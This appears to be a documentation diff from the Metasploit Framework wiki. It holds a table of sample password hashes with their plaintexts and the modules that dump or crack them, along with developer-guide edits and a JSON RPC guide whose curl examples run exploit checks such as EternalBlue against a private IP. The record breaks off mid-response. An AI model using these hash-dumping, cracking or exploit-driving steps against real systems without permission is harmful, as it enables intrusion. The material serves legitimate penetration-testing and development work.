| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/jtr_oracle_fast |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/jtr_postgres_fast |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None |
| Hash Type | Username | Hash | Password | jtr format | Modules which dump this info | Modules which crack this |
| ------------------------------------ | ------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------ | ---------------- | ------------------------------------------------ | --------------------------------------------------------- |
| ----------- | ---------- | ------ | ---------- | ------------ | ------------------------------ | ------------------------- |
| DES | des_password | `rEK1ecacw.7.c` | password | des | | auxiliary/analyze/crack_aix auxiliary/analyze/crack_linux |
| MD5 | md5_password | `$1$O3JMY.Tw$AdLnLjQ/5jXF9.MTp3gHv/` | password | md5 | | auxiliary/analyze/crack_linux |
| BSDi | bsdi_password | `_J9..K0AyUubDrfOgO4s` | password | bsdi | | auxiliary/analyze/crack_linux |
| SHA256 | sha256_password | `$5$MnfsQ4iN$ZMTppKN16y/tIsUYs/obHlhdP.Os80yXhTurpBMUbA5` | password | sha256,crypt | | auxiliary/analyze/crack_linux |
| SHA512 | sha512_password | `$6$zWwwXKNj$gLAOoZCjcr8p/.VgV/FkGC3NX7BsXys3KHYePfuIGMNjY83dVxugPYlxVg/evpcVEJLT/rSwZcDMlVVf/bhf.1` | password | sha512,crypt | | auxiliary/analyze/crack_linux |
| Blowfish | blowfish_password | `$2a$05$bvIG6Nmid91Mu9RcmmWZfO5HJIMCT8riNW0hEp8f6/FuA2/mHZFpe` | password | bf | | auxiliary/analyze/crack_linux |
| Lanman | lm_password | `E52CAC67419A9A224A3B108F3FA6CB6D:8846F7EAEE8FB117AD06BDD830B7586C` | password | lm | | auxiliary/analyze/crack_windows |
| NTLM | nt_password | `AAD3B435B51404EEAAD3B435B51404EE:8846F7EAEE8FB117AD06BDD830B7586C` | password | nt | | auxiliary/analyze/crack_windows |
| NetNTLMv1 | u4-netntlm | `u4-netntlm::kNS:338d08f8e26de93300000000000000000000000000000000:9526fb8c23a90751cdd619b6cea564742e1e4bf33006ba41:cb8086049ec4736c` | hashcat | netntlm | | auxiliary/analyze/crack_windows |
| NetNTLMv2 | admin | `admin::N46iSNekpT:08ca45b7d7ea58ee:88dcbe4446168966a153a0064958dac6:5c7830315c7830310000000000000b45c67103d07d7b95acd12ffa11230e0000000052920b85f78d013c31cdb3b92f5d765c783030` | hashcat | netntlmv2 | | auxiliary/analyze/crack_windows |
| MSSQL (2005) | mssql05_toto | `0x01004086CEB6BF932BC4151A1AF1F13CD17301D70816A8886908` | toto | mssql05 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL | mssql_foo | `0x0100A607BA7C54A24D17B565C59F1743776A10250F581D482DA8B6D6261460D3F53B279CC6913CE747006A2E3254` | foo | mssql | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MSSQL (2012) | mssql12_Password1! | `0x0200F733058A07892C5CACE899768F89965F6BD1DED7955FE89E1C9A10E27849B0B213B5CE92CC9347ECCB34C3EFADAF2FD99BFFECD8D9150DD6AACB5D409A9D2652A4E0AF16` | Password! | mssql12 | auxiliary/scanner/mssql/mssql_hashdump | auxiliary/analyze/crack_databases |
| MySQL | mysql_probe | `445ff82636a7ba59` | probe | mysql | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| MySQL SHA1 | mysql-sha1_tere | `*5AD8F88516BD021DD43F171E2C785C69F8E54ADB` | tere | mysql-sha1 | auxiliary/scanner/mysql/mysql_hashdump | auxiliary/analyze/crack_databases |
| Oracle | simon | `4F8BC1809CB2AF77` | A | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle | SYSTEM | `9EEDFA0AD26C6D52` | THALES | des,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | DEMO | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 11 | oracle11_epsilon | `S:8F2D65FB5547B71C8DA3760F10960428CD307B1C6271691FC55C1F56554A;H:DC9894A01797D91D92ECA1DA66242209;T:23D1F8CAC9001F69630ED2DD8DF67DD3BE5C470B5EA97B622F757FE102D8BF14BEDC94A3CC046D10858D885DB656DC0CBF899A79CD8C76B788744844CADE54EEEB4FDEC478FB7C7CBFBBAC57BA3EF22C` | epsilon | raw-sha1,oracle | modules/auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Oracle 12 | oracle12_epsilon | `H:DC9894A01797D91D92ECA1DA66242209;T:E3243B98974159CC24FD2C9A8B30BA62E0E83B6CA2FC7C55177C3A7F82602E3BDD17CEB9B9091CF9DAD672B8BE961A9EAC4D344BDBA878EDC5DCB5899F689EBD8DD1BE3F67BFF9813A464382381AB36B` | epsilon | pbkdf2,oracle12c | auxiliary/scanner/oracle/oracle_hashdump | auxiliary/analyze/crack_databases |
| Postgres | example | `md5be86a79bf2043622d58d5453c47d4860` | password | raw-md5,postgres | auxiliary/scanner/postgres/postgres_hashdump | auxiliary/analyze/crack_databases |
| HMAC-MD5 | hmac_password | `<3263520797@127.0.0.1>#3f089332842764e71f8400ede97a84c9` | password | hmac-md5 | auxiliary/server/capture/smtp | None |
| SHA512($p.$s)/dynamic_82/vmware ldap | vmware_ldap | `$dynamic_82$a702505b8a67b45065a6a7ff81ec6685f08d06568e478e1a7695484a934b19a28b94f58595d4de68b27771362bc2b52444a0ed03e980e11ad5e5ffa6daa9e7e1$HEX$171ada255464a439569352c60258e7c6` | TestPass123# | dynamic_82 | | None | | |
# Adding a New Hash
+2 -2
View File
@@ -1,8 +1,8 @@
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [download the Metasploit nightly installers](https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers). This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
Welcome to Metasploit-land. Are you a Metasploit user who wants to get started or get better at hacking stuff (that you have permission to hack)? The quickest way to get started is to [[download the Metasploit nightly installers|./Nightly-Installers.md]]. This will give you access to both the free, open-source Metasploit Framework and a free trial of Metasploit Pro.
If you're using [Kali Linux](https://kali.org/), Metasploit is already pre-installed. See the [Kali documentation](https://kali.org/docs/tools/starting-metasploit-framework-in-kali/) for how to get started using Metasploit in Kali Linux.
Are you anxious to get your [Metasploit Development Environment](https://github.com/rapid7/metasploit-framework/wiki/Setting-Up-a-Metasploit-Development-Environment) set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
Are you anxious to get your [[Metasploit Development Environment|./dev/Setting-Up-a-Metasploit-Development-Environment.md]] set up so you can start [[Landing Pull Requests]] and contributing excellent exploit code? If so, you're in the right place. If you're an exploit developer, you will want to review our [[Guidelines for Accepting Modules and Enhancements]] to find out what we expect when we see pull requests for new Metasploit modules. No idea what you should start working on? Check out the guidelines for [[contributing to Metasploit]], and dive into [[Setting Up a Metasploit Development Environment]].
# Getting Started #
@@ -7,7 +7,7 @@ An updated list of the application timeline can be found at https://developers.g
## Important Dates
- GSoC Applications Open: April 4th at 1800 UTC
- GSoC Applications Open: April 4th at 1800 UTC
- GSoC Applications Close: April 19th at 1800 UTC for 2022 GSoC applications. **No late submissions will be accepted, period.**
- Accepted applications announced: May 20th at 1800 UTC
- Programming Starts: June 13th.
@@ -19,14 +19,14 @@ An updated list of the application timeline can be found at https://developers.g
You can find the current list of GSoC ideas at [[GSoC-2022-Project-Ideas]]. Please see the note at the bottom of this page if you are interested in submitting your own idea, as this will require approval.
# Getting started
Students interesting in GSoC, can start by reading Google's official guides.
Students interesting in GSoC, can start by reading Google's official guides.
<https://developers.google.com/open-source/gsoc/help/student-advice>
Review all of the [student guide](https://google.github.io/gsocguides/student/) and carefully read the [proposal writing section](https://google.github.io/gsocguides/student/writing-a-proposal.html).
A listed `idea` is a seed for GSoC students to expand on and propose how to design and implement a solution. You can start by investigating the code base and how existing users interaction with `msfconsole` functionality. Think through scenarios on how a user might want to interact with the proposed idea.
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [here](https://github.com/rapid7/metasploit-framework/wiki/Contributing-to-Metasploit#framework-bugs-and-features).
A place to get started with contributing to Metasploit is [here](https://github.com/rapid7/metasploit-framework/blob/master/CONTRIBUTING.md) and expanded on [[here|./Contributing-to-Metasploit.md]].
GSoC mentors tend to look for those items that have a chance of making development and usage easier or improving the overall performance of a certain area, however by starting with understanding the most common contribution pattern you can get familiar with the codebase and also the mindset of users. This will help you in creating a proposal with the end user in mind.
@@ -50,14 +50,14 @@ A brief description of what you would like to work on. See [[GSoC-2022-Project-I
## Skillz
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What programming languages are you familiar with, in order of proficiency? Most of Metasploit is written in Ruby; for any project you will most likely need at least a passing knowledge of it. If you want to work on Meterpreter or Mettle, C will be necessary as well.
What other projects have you worked on before?
## Your project
Fill in the details. What exactly do you want to accomplish?
Fill in the details. What exactly do you want to accomplish?
# Past Submissions
If you are interested in looking at past accepted submissions and projects, you can find them at https://summerofcode.withgoogle.com/archive, and clicking on any year from 2017 onwards (with the exception of 2019 as Metasploit did not participate this year). Then click on the `Security` tag, and search for `Metasploit`. Scroll down to the bottom and you will see past successful applications and the associated code for each successful submission. Submissions from 2020 onwards also include copies of the proposal that was sent in by the accepted contributor.
@@ -1,16 +1,16 @@
The [HttpClient mixin](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
The [HttpClient mixin](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient) can be included with an exploit module in order to facilitate easier HTTP communications with a target machine.
## There are mainly two common methods you will see:
* **[send\_request\_raw](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
* **[send\_request\_raw](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_raw-instance_method)** - You use this to send a raw HTTP request. Usually, you will want this method if you need something that violates the specification; in most other cases, you should prefer `send_request_cgi`. If you wish to learn about how this method works, look at the documentation for [`Rex::Proto::Http::Client#request_raw`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_raw-instance_method).
Here's a basic example of how to use `send_request_raw`:
```ruby
send_request_raw({'uri'=>'/index.php'})
```
* **[send\_request\_cgi](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://rapid7.github.io/metasploit-framework/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
* **[send\_request\_cgi](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#send_request_cgi-instance_method)** - You use this to send a more CGI-compatible HTTP request. If your request contains a query string (or POST data), then you should use this. If you wish to learn about how this method works, check out [`Rex::Proto::Http::Client#request_cgi`](https://docs.metasploit.com/api/Rex/Proto/Http/Client.html#request_cgi-instance_method).
@@ -31,7 +31,7 @@ send_request_cgi({
## Cookies & CookieJars
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
Part of send\_request\_cgi functionality is the ability to collect, edit, and send cookies via the HttpClient's `cookie_jar` variable, an instance of the [HttpCookieJar](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie_jar.rb) class.
A HttpCookieJar is a collection of [HttpCookie](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/remote/http/http_cookie.rb). The Jar can be populated manually with it's `add` method, or automatically via the `keep_cookies` option that can be passed to [send\_request\_cgi](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/lib/msf/core/exploit/remote/http_client.rb#L385).
@@ -59,7 +59,7 @@ res = @http_client.send_request_cgi({
}
})
```
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
The cookies returned by the server with a successful login need to be attached to all future requests, so `'keep_cookies' => true,` is used to add all returned cookies to the HttpClient CookieJar and attach them to all subsequent requests.
### `cookie` option
Shown below is the request used to login to a gitlab account in the [artical\_proxy\_auth\_bypass\_service\_cmds\_peform\_command\_injection module](https://github.com/rapid7/metasploit-framework/blob/92d981fff2b4a40324969fd1d1744219589b5fa3/modules/exploits/linux/http/artica_proxy_auth_bypass_service_cmds_peform_command_injection.rb#L115)
@@ -136,7 +136,7 @@ register_options(
)
```
**2** - Load your TARGETURI with [`target_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
**2** - Load your TARGETURI with [`target_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#target_uri-instance_method), that way the URI input validation will kick in, and then you get a real `URI` object:
In this example, we'll just load the path:
@@ -144,7 +144,7 @@ In this example, we'll just load the path:
uri = target_uri.path
```
**3** - When you want to join another URI, always use [`normalize_uri`](https://rapid7.github.io/metasploit-framework/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
**3** - When you want to join another URI, always use [`normalize_uri`](https://docs.metasploit.com/api/Msf/Exploit/Remote/HttpClient.html#normalize_uri-instance_method):
Example:
@@ -164,8 +164,6 @@ Please note: The `normalize_uri` method will always follow these rules:
## Full Example
```ruby
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
@@ -38,7 +38,7 @@ register_options(
### Fixed filename
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [msftidy](https://github.com/rapid7/metasploit-framework/wiki/Guidelines-for-Accepting-Modules-and-Enhancements#module-additions). Instead, here's how it's done properly:
Occasionally, you might not want your user to change the filename at all. A lazy trick to do that is by modifying the ```FILENAME``` datastore option at runtime, but this is very much not recommended. In fact, if you do this, you will not pass [[msftidy|./Guidelines-for-Accepting-Modules-and-Enhancements.md]]. Instead, here's how it's done properly:
1 - Deregister the ```FILENAME``` option
@@ -35,7 +35,7 @@ DEPRECATION_REPLACEMENT = 'exploit/linux/http/dlink_upnp_exec_noauth'
When the user loads that module, they should see a warning like this:
```
```msf
msf > use exploit/windows/misc/test
[!] ************************************************************************
@@ -48,8 +48,6 @@ msf > use exploit/windows/misc/test
## Code example
```ruby
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
@@ -58,23 +56,26 @@ class MetasploitModule < Msf::Exploit::Remote
deprecated(Date.new(2014, 9, 21), 'exploit/linux/http/dlink_upnp_exec_noauth')
def initialize(info = {})
super(update_info(info,
'Name' => 'Msf::Module::Deprecated Example',
'Description' => %q{
This shows how to use Msf::Module::Deprecated.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'DisclosureDate' => 'Apr 01 2014',
'Targets' => [ [ 'Automatic', { } ] ],
'DefaultTarget' => 0
))
super(
update_info(
info,
'Name' => 'Msf::Module::Deprecated Example',
'Description' => %q{
This shows how to use Msf::Module::Deprecated.
},
'Author' => [ 'sinn3r' ],
'License' => MSF_LICENSE,
'References' => [ [ 'URL', 'http://metasploit.com' ] ],
'DisclosureDate' => '2014-04-01',
'Targets' => [ [ 'Automatic', {} ] ],
'DefaultTarget' => 0
)
)
end
def exploit
print_debug("Code example")
print_debug('Code example')
end
end
```
```
@@ -2,7 +2,7 @@ This is an update of the original blog post about how to get Oracle support work
Due to licensing issues, we cannot ship Oracle's proprietary client access libraries by default. As a result, you may see this error when running a Metasploit module:
```
```msf
msf auxiliary(oracle_login) > run
[-] Failed to load the OCI library: cannot load such file -- oci8
@@ -11,7 +11,7 @@ msf auxiliary(oracle_login) > run
msf auxiliary(oracle_login) > run
```
or
```
```msf
msf5 auxiliary(scanner/oracle/oracle_hashdump) > run
[-] Failed to load the OCI library: cannot load such file -- oci8
@@ -159,4 +159,4 @@ install oci8.rb /opt/metasploit/ruby/lib/ruby/site_ruby/2.5.0/
[...]
<--- ext
root@kali:~/ruby-oci8-ruby-oci8-2.2.7#
```
```
@@ -2,4 +2,4 @@
I tricked you. We don't let anybody write Meterpreter scripts anymore, therefore we will no longer teach you how.
[You should try writing post modules instead](https://github.com/rapid7/metasploit-framework/wiki/How-to-get-started-with-writing-a-post-module).
[[You should try writing post modules instead|./How-to-get-started-with-writing-a-post-module.md]].
@@ -32,7 +32,7 @@ So you know how in Lord of the Rings, people are totally obsessed with the One R
You can use the ```session``` method to access the session object, or its alias ```client```. The best way to interact with one is via irb, here's an example of how:
```
```msf
msf exploit(handler) > run
[*] Started reverse handler on 192.168.1.64:4444
@@ -53,19 +53,20 @@ Here's the most basic example of an auxiliary module. We'll explain a bit more a
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
def initialize(info = {})
super(update_info(info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
))
super(
update_info(
info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
)
)
end
def run
@@ -89,21 +90,22 @@ Because the ```Msf::Auxiliary::Scanner``` mixin is so popular, we figured you wa
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
))
super(
update_info(
info,
'Name' => 'Module name',
'Description' => %q{
Say something that the user might want to know.
},
'Author' => [ 'Name' ],
'License' => MSF_LICENSE
)
)
end
def run_host(ip)
@@ -15,7 +15,7 @@ msf > irb
By default, all the log errors are on level 0 - the least informative level. But of course, you can change this by setting the datastore option, like this:
```
```msf
msf > setg LogLevel 3
LogLevel => 3
msf >
@@ -1,9 +1,9 @@
**Note: This documentation may need to be vetted.**
# How to send an HTTP request using Rex::Proto::Http::Client
The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. If you are a Metasploit module developer, the [lib/msf/core](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core) directory should be more than enough for most of your needs. If you are writing a module that speaks HTTP, then the [Msf::Exploit::Remote::HttpClient](https://github.com/rapid7/metasploit-framework/wiki/How-to-Send-an-HTTP-Request-Using-HTTPClient) mixin (which is found in [lib/msf/core/exploit/http/client](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb)) is most likely the one you want.
The Rex library (Ruby Extension Library) is the most fundamental piece of the Metasploit Framework architecture. Modules normally do not interact with Rex directly, instead they depend on the framework core and its mixins for better code sharing. If you are a Metasploit module developer, the [lib/msf/core](https://github.com/rapid7/metasploit-framework/tree/master/lib/msf/core) directory should be more than enough for most of your needs. If you are writing a module that speaks HTTP, then the [[Msf::Exploit::Remote::HttpClient|./How-to-Send-an-HTTP-Request-Using-HttpClient.md]] mixin (which is found in [lib/msf/core/exploit/http/client](https://github.com/rapid7/metasploit-framework/blob/master/lib/msf/core/exploit/http/client.rb)) is most likely the one you want.
However, in some scenarios, you actually can't use the HttpClient mixin. The most common is actually when writing a form-based login module using the [LoginScanner API](https://github.com/rapid7/metasploit-framework/wiki/Creating-Metasploit-Framework-LoginScanners). If you find yourself in that situation, use [Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb).
However, in some scenarios, you actually can't use the HttpClient mixin. The most common is actually when writing a form-based login module using the [[LoginScanner API|./Creating-Metasploit-Framework-LoginScanners.md]]. If you find yourself in that situation, use [Rex::Proto::Http::Client](https://github.com/rapid7/metasploit-framework/blob/master/lib/rex/proto/http/client.rb).
## Initializing Rex::Proto::Http::Client
@@ -0,0 +1,511 @@
The RPC API enables you to programmatically drive the Metasploit Framework and commercial products using HTTP-based remote procedure call (RPC) services. An RPC service is a collection of message types and remote methods that provide a structured way for external applications to interact with web applications. You can use the RPC interface to locally or remotely execute Metasploit commands to perform basic tasks like running modules, communicating with the database, interacting with sessions, exporting data, and generating reports.
The Metasploit products are written primarily in Ruby, which is the easiest way to use the remote API. However, in addition to Ruby, any language with support for HTTPS and MessagePack, such as Python, Java, and C, can be used to take advantage of the RPC API.
There are currently two implementations of Metasploit's RPC:
- HTTP and messagepack - covered by a separate guide
- HTTP and JSON - covered by this guide
Note that both the messagepack and JSON RPC services provide very similar operations, and it is worth reviewing both documents.
## Starting the JSON API Server
The pre-requisite to running the JSON API Server is to run your Metasploit database. This can be initialized with `msfdb`.
Note that `msfdb` will ask if you wish to run the JSON RPC web service - but it is not required for this guide which
shows how to run the JSON service directly with [thin](https://github.com/macournoyer/thin) or [Puma](https://github.com/puma/puma):
First run the Metasploit database:
```
msfdb init
```
After configuring the database the JSON RPC service can be initialized with the [thin](https://github.com/macournoyer/thin) Ruby web server:
```
bundle exec thin --rackup msf-json-rpc.ru --address 0.0.0.0 --port 8081 --environment production --tag msf-json-rpc start
```
Or with [Puma](https://github.com/puma/puma):
```
bundle exec puma msf-json-rpc.ru --port 8081 --environment production --tag msf-json-rpc start
```
### Development
If you are wanting to develop or debug the Ruby implementation of the JSON RPC service - it can be useful to run the Metasploit API synchronously in the foreground.
This allows for console logs to appear directly in the terminal, as well as being able to interact with breakpoints via `require 'pry-byebug'; binding.pry`:
It is possible to debug Msfconsole's webservice component too:
```
bundle exec ruby ./msfdb reinit
bundle exec ruby ./msfdb --component webservice stop
bundle exec ruby ./msfdb --component webservice --no-daemon start
```
### RPC Logging
You can configure the RPC service logging with the `MSF_WS_DATA_SERVICE_LOGGER` environment variable.
The list of supported loggers is viewable with `msfconsole --help`. The list at the time of writing is:
- Stdout / Stderr / StdoutWithoutTimestamps - Write logs to stdout/stderr
- Flatfile / TimestampColorlessFlatfile - Write logs to `~/.msf4/logs`
Example usage:
```
$ MSF_WS_DATA_SERVICE_LOGGER=Stdout bundle exec thin --rackup msf-json-rpc.ru --address localhost --port 8081 --environment production --tag msf-json-rpc start
[11/25/2020 17:34:53] [e(0)] core: Dependency for windows/encrypted_shell_reverse_tcp is not supported
[11/25/2020 17:34:53] [e(0)] core: Dependency for windows/x64/encrypted_shell_reverse_tcp is not supported
[11/25/2020 17:34:53] [e(0)] core: Dependency for windows/encrypted_reverse_tcp is not supported
[11/25/2020 17:34:53] [e(0)] core: Dependency for windows/x64/encrypted_reverse_tcp is not supported
[11/25/2020 17:34:54] [e(0)] core: Unable to load module /Users/adfoster/Documents/code/metasploit-framework/modules/auxiliary/gather/office365userenum.py - LoadError Try running file manually to check for errors or dependency issues.
Thin web server (v1.7.2 codename Bachmanity)
Maximum connections set to 1024
Listening on localhost:8081, CTRL+C to stop
[11/25/2020 17:35:17] [d(0)] core: Already established connection to postgresql, so reusing active connection.
[11/25/2020 17:35:17] [e(0)] core: DB.connect threw an exception - ActiveRecord::AdapterNotSpecified database configuration does not specify adapter
[11/25/2020 17:35:17] [e(0)] core: Failed to connect to the database: database configuration does not specify adapter```
```
## Concepts
The Metasploit RPC aims to follow the [jsonrpc specification](https://www.jsonrpc.org/specification). Therefore:
- Each JSON RPC request should provide a unique message ID which the client and server can use to correlate requests and responses
- Metasploit may return the following [error codes](https://github.com/rapid7/metasploit-framework/blob/87b1f3b602753e39226a475a5d737fb50200957d/lib/msf/core/rpc/json/error.rb#L3-L13).
## Examples
First ensure you are running the Metasploit database, and are running the JSON service before running these examples
### Querying
#### Query DB status
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.status",
"id": 1,
"params": []
}'
```
Response:
```json
{
"jsonrpc": "2.0",
"result": {
"driver": "postgresql",
"db": "msf"
},
"id": 1
}
```
#### Query workspaces
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "db.workspaces",
"id": 1,
"params": []
}'
```
Response:
```json
{
"jsonrpc": "2.0",
"result": {
"workspaces": [
{
"id": 1,
"name": "default",
"created_at": 1673368954,
"updated_at": 1673368954
}
]
},
"id": 1
}
```
### Modules workflow
#### Search for modules
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
--data '{ "jsonrpc": "2.0", "method": "module.search", "id": 1, "params": ["psexec author:egypt arch:x64"] }'
```
Response:
```json
{
"jsonrpc": "2.0",
"result": [
{
"type": "exploit",
"name": "PsExec via Current User Token",
"fullname": "exploit/windows/local/current_user_psexec",
"rank": "excellent",
"disclosuredate": "1999-01-01"
}
],
"id": 1
}
```
#### Run module check methods
Metasploit modules support running `check` methods which can be used to identify the success of an exploit module, or to run an
auxiliary module against a target. For instance, with an Auxiliary module check request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "module.check",
"id": 1,
"params": [
"auxiliary",
"auxiliary/scanner/ssl/openssl_heartbleed",
{
"RHOST": "192.168.123.13"
}
]
}'
```
Or an Exploit module check request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'content-type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "module.check",
"id": 1,
"params": [
"exploit",
"exploit/windows/smb/ms17_010_eternalblue",
{
"RHOST": "192.168.123.13"
}
]
}'
```
The response will contain an identifier which can be used to query for updates:
```json
{
"jsonrpc": "2.0",
"result": {
"job_id": 0,
"uuid": "1MIqJ5lViZHSOuaWf1Zz1lpR"
},
"id": 1
}
```
#### query all running stats
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "module.running_stats",
"id": 1,
"params": []
}'
```
The response will include the following keys:
- waiting - modules that are queued up, but have not started to run yet
- running - currently running modules
- results - the module has completed or failed, and the results can be retrieved and acknowledged
Response:
```json
{
"jsonrpc": "2.0",
"result": {
"waiting": [
"NkJvf4kp4JxcuFCz7rjSuHL1",
"wRnMQuJ8gzMTp5CaHu18bHdV"
],
"running": [
"b7hIX6G4ZtwvRVRDOXk5ylSx",
"gx9xTEi6KlH5LJHauyhrHTBn",
],
"results": [
"1MIqJ5lViZHSOuaWf1Zz1lpR",
"IN5PwYXrjqKfuekQt8cyCENK",
"Spd1xfgsCZXQABNh7UA3uB58",
"nRQw0bEvhFcXF0AxtVYOpQku"
]
},
"id": 1
}
```
#### retrieve module results
It is possible to poll for module results using the id returned when running a module.
Request:
```
curl --request POST \
--url http://localhost:8081/api/v1/json-rpc \
--header 'Content-Type: application/json' \
--data '{
"jsonrpc": "2.0",
"method": "module.results",
"id": 1,
"params": ["0L37lfcIQqyRK9aBTIVJB4H3"]
}'
```
Example response when the module is has not yet complete:
```json
{
"jsonrpc": "2.0",
"result": {
"status": "running"
},
"id": 1
}
```
Example error response:
```json
{
"jsonrpc": "2.0",
"result": {
"status": "errored",
